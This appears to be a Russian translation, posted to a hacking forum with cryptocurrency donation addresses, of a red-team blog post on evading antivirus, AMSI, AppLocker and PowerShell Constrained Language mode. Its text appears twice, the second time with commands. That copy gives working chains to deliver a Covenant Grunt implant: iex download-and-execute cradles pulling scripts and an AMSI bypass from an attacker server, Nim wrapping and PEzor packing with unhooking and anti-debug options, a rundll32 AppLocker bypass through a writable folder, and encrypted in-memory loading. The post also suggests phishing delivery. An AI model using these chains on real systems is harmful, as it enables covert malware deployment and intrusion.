Сегодня мы собираемся немного поговорить о возможных способах обойти некоторые меры безопасности, с которыми можно столкнуться во время взаимодействия со средой Active Directory.
Мы, как пентестеры, сильно полагаемся на наши инструменты, такие как Bloodhound, Rubeus, mimikatz и все прочие модные штуки. Будь то внутренняя оценка или тестирование Red Team.
Но Blue Team не дремлет, пытаясь удержать плохих парней снаружи с помощью своих новейших кибер-инструментов машинного обучения ИИ.
Итак, как мы можем безопасно запускать наши инструменты?
Как мы можем обойти AV?
Что можно сделать с AppLocker?
А как насчет режима ConstrainedLanguage PowerShell?
AMSI это кто?
Примечание автора: Извините, все скриншоты на немецком языке. Кажется, я слишком глуп, чтобы менять язык ОС в своей лаборатории. Обещаю, что в следующий раз сделаю лучше.
Введение
Во время пентестов или оценок Red Team все сводится к нашему любимому набору инструментов, содержащему все полезные и непослушные вещи повседневной жизни пентестера.
Проблема для нас в том, что есть три группы людей:
Первая группа - это исследователи безопасности, которые разрабатывают и публикуют эти инструменты с целью предоставления знаний и повышения осведомленности.
Вторая группа - (помимо собственных инструментов) использует эти инструменты и методы для атак на правительства, компании и людей.
Последняя группа - пытается не отставать от первых двух групп, разрабатывая и внедряя механизмы обнаружения и контрмеры для защиты от злоумышленников.
Чтобы доказать нашим клиентам, насколько они хороши (или плохи) в игре с защитником, мы берем на себя роль атакующих, подражая их поведению, инструментам и методам, и смотрим, как далеко мы можем зайти.
Этот пост будет посвящен (по крайней мере, некоторым) инструментам и тактике, которые мы можем использовать, чтобы оставаться незамеченными и чтобы наше программное обеспечение оставалось нетронутым со стороны AV и компании.
Итак, давайте рассмотрим пентест на месте. Мы приходим к заказчику, вытаскиваем наш заклеенный наклейками ноутбук, чтобы произвести впечатление на ИТ-специалистов, и нам передаются учетные данные для учетной записи домена с низким уровнем конфиденциальности и, в конечном итоге, для тестовой машины, присоединенной к домену, с которой мы можем начать нашу работу.
Следующее, что мы, скорее всего, захотим собрать немного информации, мы копируем наш Rubeus.exe на флэш-накопитель и подключаем его к тестовой машине.
БАМММ - удалено!
AV пометил наш инструмент, потому что известно, что он делает вредные вещи, а плохие парни склонны злоупотреблять его функциями.
Что ж, это лишь одна из возможных ситуаций, с которыми вы можете столкнуться. Итак, давайте рассмотрим некоторые из тех, с которыми я столкнулся во время работы и (в основном) во время обучения в следующих разделах.
Обход AV
Если мы рассмотрим традиционные антивирусные программы (и даже сегодня они работают так - по крайней мере частично), все они имеют какую-то базу данных, которая содержит хэши или байтовые последовательности известных вредоносных файлов, строки, которые, как известно, находятся в вредоносном программном обеспечении. (привет sekurlsa :: logonpasswords) и так далее. Они обновляются, как только поставщик обнаруживает новые угрозы, и продаются как Threat Intel. Поэтому всякий раз, когда AV может исследовать действия на основе файлов, например когда вы открываете файл, и AV подключается к нему и проверяет содержимое внутри, он выполняет свои задачи по оценке того, что он видит в своей базе данных, и в результате показывает вам палец вверх или вниз.
Так что наш вариант здесь очевиден: Каждый общедоступный инструмент или методика, которые вы используете из коробки, рано или поздно будут отмечены поставщиками антивирусных программ путем интеграции соответствующих механизмов обнаружения в свою базу данных. Вот где в игру вступает обфускация. Если вы еще этого не сделали, я настоятельно рекомендую вам уделить время и прочитать некоторые из сообщений блога s3cur3th1sh1t, относящихся к этой теме.
Обфускация может быть такой же простой, как замена строк, или такой сложной, как шифрование целых двоичных файлов, которые разворачиваются во время выполнения.
Замена строк
Давайте возьмем следующий фрагмент кода из полезной нагрузки cobbr's Covenant Grunt:
Вы можете поспорить, что если какой-то AV увидит строку
Что мы также можем сделать, так это объединить строки вместо их замены. Так что, например,
Raste Mouse´s ThreatCheck - полезный инструмент, который пригодится, когда вы хотите протестировать свой новый код на соответствие сигнатурам Защитника Windows или AMSI. Он в основном разделит ваш код на фрагменты определенной длины и проверит его в базе данных Защитника Windows или AMSI, а также сообщит вам, где в вашем коде он помечается.
Существуют инструменты, которые сделают за вас работу по обфускации. Не стесняйтесь взглянуть на раздел обфускации моего репозитория на github или просто поиграйте в поисковой системе.
Упаковка и расшифровка кода
Если вы активно следите за сообществом InfoSec в твиттере, вы, скорее всего, наткнетесь на репозиторий Offensive Nim от byt3bl33d3r. Эти шаблоны позволяют, например, обернуть исполняемый файл C# внутри Nim и скомпилировать его как исполняемый файл C, таким образом скрывая ваш контент. Вместе с s3cur3th1sh1t они даже доработали его, так что вы можете создать зашифрованную полезную нагрузку внутри двоичного файла Nim и расшифровывать во время выполнения в памяти. Это затруднит обратное изменение, если вам нужно поместить файлы на диск, поскольку декомпиляция откроет только зашифрованный материал C#. Чтобы узнать больше об этом, вы можете посмотреть Playing-with-OffensiveNim.
Существуют также такие инструменты, как amber от Эге Бальчи или PEzor от phra, которые принимают исполняемые файлы C или C ++ и рефлексивно загружают их в память, добавляя некоторые приятные функции, такие как отложенное выполнение в сканерах памяти или избегание перехватов AV и прочее. Я не понимаю даже половины того, что здесь происходит. Но если вы хотите узнать больше, прочтите блоге phra о PEZor.
Все методы, упомянутые выше, могут помочь вам запутать ваш код, поэтому вам не придется развертывать готовые инструменты. Но имейте в виду, что к тому времени также будет отмечен код оболочки. Я провел тест с простым исполняемым файлом
Не трогая диск
Другой подход - не прикасаться к диску с нашим вредоносным контентом, чтобы традиционный антивирус не смог поймать нас при чтении или записи данных. Самым известным мне методом является использование встроенной в PowerShell функции Invoke Expression. Это позволит вам загрузить сценарий из удаленного источника и выполнить его в памяти.
Другая возможность - использовать Invoke-SharpLoader от(кто бы мог подумать) S3cur3Th1sSh1t для загрузки и выполнения C# непосредственно из памяти. Хорошо, давайте обойдем Defender, не касаясь диска, и поместим наши полезные данные Grunt по умолчанию прямо в память:
Бля! Что-то пошло не так. Похоже, нас поймал AMSI, который обнаружил полезную нагрузку Ковенанта.
Мы обошли сигнатурную часть Защитника для файловой системы, но AMSI проверил наш скрипт, когда мы загрузили его в память, передал его Защитнику, который затем обнаружил подозрительные строки, пометив их как вредоносные.
Спасибо s3cur3th1sh1t за разъяснения на этом этапе.
Если вы хотите узнать больше о том, как работает AMSI, прочтите этот пост о AMSI и о том, как его обойти.
Мы можем проверить, что это был AMSI, выполниводин из случайных обходов от amsi Обход AMSI для C# от Rasta Mouse и после этого мы увидим, что он работает, когда все функции Defender все еще включены:
Я несколько раз терпел неудачу со всеми обходами amsi.fail для полезной нагрузки Grunt. Разговаривая с моим боссом (вы знаете парня с именем l33t, содержащим sh1t и прочее), выяснилось, что для полезной нагрузки C # - 1-й и 2-й стадии полезной нагрузки Grunt, написанной на C# - вам нужен обход на C#. Вы можете видеть, что обход Rasta Mouse загружает код C# в PowerShell через инструкцию
Holy moly, но так оно и есть. Спасибо, сэр.
Объединение приёмов
Пришло время объединить некоторые из обсуждаемых техник.
По понятным причинам я играл с Nim, Invoke-SharpLoader, PEZor и прочими безумными штуками. Мои попытки объединить части для создания скрытой атаки привели к двум подходам, которые выглядят следующим образом:
1. Создать Grunt.exe
2. Преобразование Grunt.exe в байтовый массив Nim
3. Вставьте массив байтов в шаблон загрузчика C # и создайте исполняемый файл C.
4.Оберните исполняемый файл C в PEZor
5. Размещаем
Тада! - Grunt подключён
1. Определите способ обойти AppLocker и ConstrainedLanguage
Чтобы проверить текущий языковой режим PS, мы можем запустить:
Мы можем выполнить следующий командлет PS для определения всех действующих политик AppLocker:
Мы видим, что группе «Все» разрешено запускать файлы из
Это показывает нам, что группа «Пользователи» имеет права записи в эту конкретную папку. Отлично - здесь кто-то облажался. В Германии мы говорим: «Hart verkackt».
Примечание переводчика: Хахахах
2. Обход AppLocker и ConstrainedLanguage
Итак, теперь, когда мы знаем, как - давайте запачкаем руки.
Скомпилируйте PowerShdll xP3nt4 и скопируйте dll клиенту в
3. Подготовьте Invoke-SharpLoader
Зашифруйте наш Grunt.exe по умолчанию
Разместите зашифрованный файл на нашем сервере Covenant в
Адаптируйте сценарий Invoke-SharpLoader для прямой загрузки зашифрованных данных с веб-сервера, добавив это в последнюю строку:
И разместите этот файл на нашем сервере Covenant в
4. Выполните наш скрипт загрузки Powershell
На последнем шаге мы собрали короткий скрипт, который мы можем вызвать из нашей PowerShdll, который выглядит следующим образом:
Помните что AMSI все еще здесь, поэтому нам нужно обойти его - даже внутри PowerShdll. К счастью для нас, Invoke-Sharploader имеет интегрированный обход C# и ETW, поэтому мы просто заранее позаботимся о обычном обходе PowerShell AMSI.
Загрузите на наш сервер Covenant в
Guns loaded - give em hell
Как видите, Defender очень хотел бы загрузить наш образец для дальнейшего анализа, но - нет.
Заключение
Мы видели, что у Blue Team есть много возможностей значительно усложнить жизнь нападающим. Своевременно обновляйте свои продукты безопасности и правильно их внедряйте. Воспользуйтесь всеми хорошими функциями, которые предлагает вам ваша операционная система или поставщик продуктов безопасности. Мы часто находим клиентов, использующих AV-продукт с отключенными почти всеми функциями. Это случаи, дающие нам самые простые возможности обхода. Поиграйте с тем, что вы узнали здесь, чтобы лучше понять свою инфраструктуру и обнаружить свои слабые места.
Со стороны Red Team я показал вам несколько способов обойти эти защитные механизмы. Идите вперед и начните играть с ними самостоятельно. Создайте себе личный набор инструментов. И последнее, но не менее важное: Не отправляйте образцы в Microsoft или VirusTotal, если вы хотите использовать их при следующей оценке.
На этом пока, ребята. Надеюсь, вам понравилось. Удачного тестирования!
От ТС
Очень интересная и полезная статья! Спасибо admin за ссылку.
Язык автора в некоторых местах было сложно перевести, поэтому я оставлял всё как есть.
В переводе могут быть ошибки, я недавно пропал на месяц в силу некоторых обстоятельств, так что не судите строго.
Оригинал доступен тут
Перевод:
Azrv3l cпециально для xss.pro
BTC: bc1qs2fk7zftnwwhhdrw9ge6ncxrspeyta7dymjwkj
XMR: 47XEeTRbHoHFVZ8eTMoMRvdwtpxyx2fee4XAWMyA18KEMAxGh2jMZurBpGtWSN1obMFo8HQXLvtyoTozSnW8CQy31zaSPBc
ETH: 0xEb8CdE54aBaA7186E9dB8A27f6898C9F02397bab
Мы, как пентестеры, сильно полагаемся на наши инструменты, такие как Bloodhound, Rubeus, mimikatz и все прочие модные штуки. Будь то внутренняя оценка или тестирование Red Team.
Но Blue Team не дремлет, пытаясь удержать плохих парней снаружи с помощью своих новейших кибер-инструментов машинного обучения ИИ.
Итак, как мы можем безопасно запускать наши инструменты?
Как мы можем обойти AV?
Что можно сделать с AppLocker?
А как насчет режима ConstrainedLanguage PowerShell?
AMSI это кто?
Примечание автора: Извините, все скриншоты на немецком языке. Кажется, я слишком глуп, чтобы менять язык ОС в своей лаборатории. Обещаю, что в следующий раз сделаю лучше.
Введение
Во время пентестов или оценок Red Team все сводится к нашему любимому набору инструментов, содержащему все полезные и непослушные вещи повседневной жизни пентестера.
Проблема для нас в том, что есть три группы людей:
Первая группа - это исследователи безопасности, которые разрабатывают и публикуют эти инструменты с целью предоставления знаний и повышения осведомленности.
Вторая группа - (помимо собственных инструментов) использует эти инструменты и методы для атак на правительства, компании и людей.
Последняя группа - пытается не отставать от первых двух групп, разрабатывая и внедряя механизмы обнаружения и контрмеры для защиты от злоумышленников.
Чтобы доказать нашим клиентам, насколько они хороши (или плохи) в игре с защитником, мы берем на себя роль атакующих, подражая их поведению, инструментам и методам, и смотрим, как далеко мы можем зайти.
Этот пост будет посвящен (по крайней мере, некоторым) инструментам и тактике, которые мы можем использовать, чтобы оставаться незамеченными и чтобы наше программное обеспечение оставалось нетронутым со стороны AV и компании.
Итак, давайте рассмотрим пентест на месте. Мы приходим к заказчику, вытаскиваем наш заклеенный наклейками ноутбук, чтобы произвести впечатление на ИТ-специалистов, и нам передаются учетные данные для учетной записи домена с низким уровнем конфиденциальности и, в конечном итоге, для тестовой машины, присоединенной к домену, с которой мы можем начать нашу работу.
Следующее, что мы, скорее всего, захотим собрать немного информации, мы копируем наш Rubeus.exe на флэш-накопитель и подключаем его к тестовой машине.
БАМММ - удалено!
AV пометил наш инструмент, потому что известно, что он делает вредные вещи, а плохие парни склонны злоупотреблять его функциями.
Что ж, это лишь одна из возможных ситуаций, с которыми вы можете столкнуться. Итак, давайте рассмотрим некоторые из тех, с которыми я столкнулся во время работы и (в основном) во время обучения в следующих разделах.
Обход AV
Если мы рассмотрим традиционные антивирусные программы (и даже сегодня они работают так - по крайней мере частично), все они имеют какую-то базу данных, которая содержит хэши или байтовые последовательности известных вредоносных файлов, строки, которые, как известно, находятся в вредоносном программном обеспечении. (привет sekurlsa :: logonpasswords) и так далее. Они обновляются, как только поставщик обнаруживает новые угрозы, и продаются как Threat Intel. Поэтому всякий раз, когда AV может исследовать действия на основе файлов, например когда вы открываете файл, и AV подключается к нему и проверяет содержимое внутри, он выполняет свои задачи по оценке того, что он видит в своей базе данных, и в результате показывает вам палец вверх или вниз.
Так что наш вариант здесь очевиден: Каждый общедоступный инструмент или методика, которые вы используете из коробки, рано или поздно будут отмечены поставщиками антивирусных программ путем интеграции соответствующих механизмов обнаружения в свою базу данных. Вот где в игру вступает обфускация. Если вы еще этого не сделали, я настоятельно рекомендую вам уделить время и прочитать некоторые из сообщений блога s3cur3th1sh1t, относящихся к этой теме.
Обфускация может быть такой же простой, как замена строк, или такой сложной, как шифрование целых двоичных файлов, которые разворачиваются во время выполнения.
Замена строк
Давайте возьмем следующий фрагмент кода из полезной нагрузки cobbr's Covenant Grunt:
C:
namespace GruntStager
{
public class GruntStager
{
public GruntStager()
{
ExecuteStager();
Вы можете поспорить, что если какой-то AV увидит строку
GruntStager, он разозлиться. Имея этот код в нашей VisualStudio, мы можем выделить строку, которую хотим заменить, и нажать ctrl + r, чтобы переименовать функции или переменные, или ctrl + shift + h, чтобы найти и заменить строки во всем проекте. Мы также применим это к общедоступному классу и ко всем другим подозрительно звучащим частям, которые мы найдем, и в конечном итоге получим что-то вроде этого:
Что мы также можем сделать, так это объединить строки вместо их замены. Так что, например,
mimikatz превращается в «mi» + «mik» + «atz». В некоторых случаях этого достаточно, чтобы обмануть AV, если все сделано правильно.Raste Mouse´s ThreatCheck - полезный инструмент, который пригодится, когда вы хотите протестировать свой новый код на соответствие сигнатурам Защитника Windows или AMSI. Он в основном разделит ваш код на фрагменты определенной длины и проверит его в базе данных Защитника Windows или AMSI, а также сообщит вам, где в вашем коде он помечается.
Существуют инструменты, которые сделают за вас работу по обфускации. Не стесняйтесь взглянуть на раздел обфускации моего репозитория на github или просто поиграйте в поисковой системе.
Упаковка и расшифровка кода
Если вы активно следите за сообществом InfoSec в твиттере, вы, скорее всего, наткнетесь на репозиторий Offensive Nim от byt3bl33d3r. Эти шаблоны позволяют, например, обернуть исполняемый файл C# внутри Nim и скомпилировать его как исполняемый файл C, таким образом скрывая ваш контент. Вместе с s3cur3th1sh1t они даже доработали его, так что вы можете создать зашифрованную полезную нагрузку внутри двоичного файла Nim и расшифровывать во время выполнения в памяти. Это затруднит обратное изменение, если вам нужно поместить файлы на диск, поскольку декомпиляция откроет только зашифрованный материал C#. Чтобы узнать больше об этом, вы можете посмотреть Playing-with-OffensiveNim.
Существуют также такие инструменты, как amber от Эге Бальчи или PEzor от phra, которые принимают исполняемые файлы C или C ++ и рефлексивно загружают их в память, добавляя некоторые приятные функции, такие как отложенное выполнение в сканерах памяти или избегание перехватов AV и прочее. Я не понимаю даже половины того, что здесь происходит. Но если вы хотите узнать больше, прочтите блоге phra о PEZor.
Все методы, упомянутые выше, могут помочь вам запутать ваш код, поэтому вам не придется развертывать готовые инструменты. Но имейте в виду, что к тому времени также будет отмечен код оболочки. Я провел тест с простым исполняемым файлом
hello world C, обернутым PEZor, и получил около 21 обращения к VirusTotal. Теперь вы должны знать, что делать Не трогая диск
Другой подход - не прикасаться к диску с нашим вредоносным контентом, чтобы традиционный антивирус не смог поймать нас при чтении или записи данных. Самым известным мне методом является использование встроенной в PowerShell функции Invoke Expression. Это позволит вам загрузить сценарий из удаленного источника и выполнить его в памяти.
JavaScript:
iex(new-object net.webclient).downloadstring('http://10.55.0.30/grunt.ps1')
Другая возможность - использовать Invoke-SharpLoader от(кто бы мог подумать) S3cur3Th1sSh1t для загрузки и выполнения C# непосредственно из памяти. Хорошо, давайте обойдем Defender, не касаясь диска, и поместим наши полезные данные Grunt по умолчанию прямо в память:
Бля! Что-то пошло не так. Похоже, нас поймал AMSI, который обнаружил полезную нагрузку Ковенанта.
Мы обошли сигнатурную часть Защитника для файловой системы, но AMSI проверил наш скрипт, когда мы загрузили его в память, передал его Защитнику, который затем обнаружил подозрительные строки, пометив их как вредоносные.
Более точное объяснение будет заключаться в том, что помечен не сам скрипт, а stager C # Grunt, который загружается через Assembly::load в powershell.Спасибо s3cur3th1sh1t за разъяснения на этом этапе.
Если вы хотите узнать больше о том, как работает AMSI, прочтите этот пост о AMSI и о том, как его обойти.
Мы можем проверить, что это был AMSI, выполнив
Я несколько раз терпел неудачу со всеми обходами amsi.fail для полезной нагрузки Grunt. Разговаривая с моим боссом (вы знаете парня с именем l33t, содержащим sh1t и прочее), выяснилось, что для полезной нагрузки C # - 1-й и 2-й стадии полезной нагрузки Grunt, написанной на C# - вам нужен обход на C#. Вы можете видеть, что обход Rasta Mouse загружает код C# в PowerShell через инструкцию
Add-Type $Win32 в начале. Holy moly, но так оно и есть. Спасибо, сэр.
Объединение приёмов
Пришло время объединить некоторые из обсуждаемых техник.
По понятным причинам я играл с Nim, Invoke-SharpLoader, PEZor и прочими безумными штуками. Мои попытки объединить части для создания скрытой атаки привели к двум подходам, которые выглядят следующим образом:
Grunt.exe -> Nim Wrapper -> PEZor -> local execution
Просто чтобы попытаться избежать локального обнаружения при копировании на диск1. Создать Grunt.exe
2. Преобразование Grunt.exe в байтовый массив Nim
JavaScript:
CSharpToNimByteArray -inputfile .\GruntHTTP.exe
3. Вставьте массив байтов в шаблон загрузчика C # и создайте исполняемый файл C.
JavaScript:
nim c --passL:-Wl,--dynamicbase,--export-all-symbols .\LoadCSharp.nim
4.Оберните исполняемый файл C в PEZor
JavaScript:
PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=10 /root/Desktop/Grunt_Nim.exe -z 2
5. Размещаем
Тада! - Grunt подключён
AppLocker & ConstrainedLanguage mode bypass -> Powershell load script -> AMSI bypass -> Invoke-SharpLoader -> Encrypted Grunt
Если бы обход AppLocker не требовался, его можно было бы запустить полностью удаленно, то есть в фишинговой кампании, начинающейся с файла .htm или чего-то подобного, что запускает наш скрипт загрузчика. Вся атака проводится на аккаунте с низким уровнем привилегий.1. Определите способ обойти AppLocker и ConstrainedLanguage
Чтобы проверить текущий языковой режим PS, мы можем запустить:
JavaScript:
$ExecutionContext.SessionState.LanguageMode
Мы можем выполнить следующий командлет PS для определения всех действующих политик AppLocker:
JavaScript:
Get-ApplockerPolicy -Effective -xml > c:\users\luemmel\Desktop\applocker.xml
Мы видим, что группе «Все» разрешено запускать файлы из
C: \Program Files (x86)\hMailServer\* Мы можем дополнительно проверить ACL в этой папке с помощью следующего командлета PS:
JavaScript:
Get-Acl -path 'C:\Program Files (x86)\hMailServer\' | fl
Это показывает нам, что группа «Пользователи» имеет права записи в эту конкретную папку. Отлично - здесь кто-то облажался. В Германии мы говорим: «Hart verkackt».
Примечание переводчика: Хахахах
2. Обход AppLocker и ConstrainedLanguage
Итак, теперь, когда мы знаем, как - давайте запачкаем руки.
Скомпилируйте PowerShdll xP3nt4 и скопируйте dll клиенту в
C: \Program Files (x86)\hMailServer\ и запустите его:
JavaScript:
rundll32 'C:\Program Files (x86)\hMailServer\PowerShdll.dll',main -w
3. Подготовьте Invoke-SharpLoader
Зашифруйте наш Grunt.exe по умолчанию
Bash:
. .\Invoke-SharpEncrypt.ps1
Invoke-SharpEncrypt -file C:\Tools_manual\nim-1.4.2\examples\Offensive\GruntHTTP.exe -password LuemmelSec -outfile C:\users\Luemmel\Desktop\Grunt_SharpLoader.enc
Разместите зашифрованный файл на нашем сервере Covenant в
Listeners -> listener -> Hosted Files -> + CreateАдаптируйте сценарий Invoke-SharpLoader для прямой загрузки зашифрованных данных с веб-сервера, добавив это в последнюю строку:
Bash:
Invoke-SharpLoader -location http://10.55.0.30/Grunt_SharpLoader.enc -password LuemmelSec -noArgs
И разместите этот файл на нашем сервере Covenant в
/Invoke-SharpLoader.4. Выполните наш скрипт загрузки Powershell
На последнем шаге мы собрали короткий скрипт, который мы можем вызвать из нашей PowerShdll, который выглядит следующим образом:
JavaScript:
iex(new-object net.webclient).downloadstring('http://10.55.0.30/amsibypass');
iex(new-object net.webclient).downloadstring('http://10.55.0.30/Invoke-SharpLoader');
Помните что AMSI все еще здесь, поэтому нам нужно обойти его - даже внутри PowerShdll. К счастью для нас, Invoke-Sharploader имеет интегрированный обход C# и ETW, поэтому мы просто заранее позаботимся о обычном обходе PowerShell AMSI.
Загрузите на наш сервер Covenant в
/init.
Guns loaded - give em hell
Как видите, Defender очень хотел бы загрузить наш образец для дальнейшего анализа, но - нет.
Заключение
Мы видели, что у Blue Team есть много возможностей значительно усложнить жизнь нападающим. Своевременно обновляйте свои продукты безопасности и правильно их внедряйте. Воспользуйтесь всеми хорошими функциями, которые предлагает вам ваша операционная система или поставщик продуктов безопасности. Мы часто находим клиентов, использующих AV-продукт с отключенными почти всеми функциями. Это случаи, дающие нам самые простые возможности обхода. Поиграйте с тем, что вы узнали здесь, чтобы лучше понять свою инфраструктуру и обнаружить свои слабые места.
Со стороны Red Team я показал вам несколько способов обойти эти защитные механизмы. Идите вперед и начните играть с ними самостоятельно. Создайте себе личный набор инструментов. И последнее, но не менее важное: Не отправляйте образцы в Microsoft или VirusTotal, если вы хотите использовать их при следующей оценке.
На этом пока, ребята. Надеюсь, вам понравилось. Удачного тестирования!
От ТС
Очень интересная и полезная статья! Спасибо admin за ссылку.
Язык автора в некоторых местах было сложно перевести, поэтому я оставлял всё как есть.
В переводе могут быть ошибки, я недавно пропал на месяц в силу некоторых обстоятельств, так что не судите строго.
Оригинал доступен тут
Перевод:
Azrv3l cпециально для xss.pro
BTC: bc1qs2fk7zftnwwhhdrw9ge6ncxrspeyta7dymjwkj
XMR: 47XEeTRbHoHFVZ8eTMoMRvdwtpxyx2fee4XAWMyA18KEMAxGh2jMZurBpGtWSN1obMFo8HQXLvtyoTozSnW8CQy31zaSPBc
ETH: 0xEb8CdE54aBaA7186E9dB8A27f6898C9F02397bab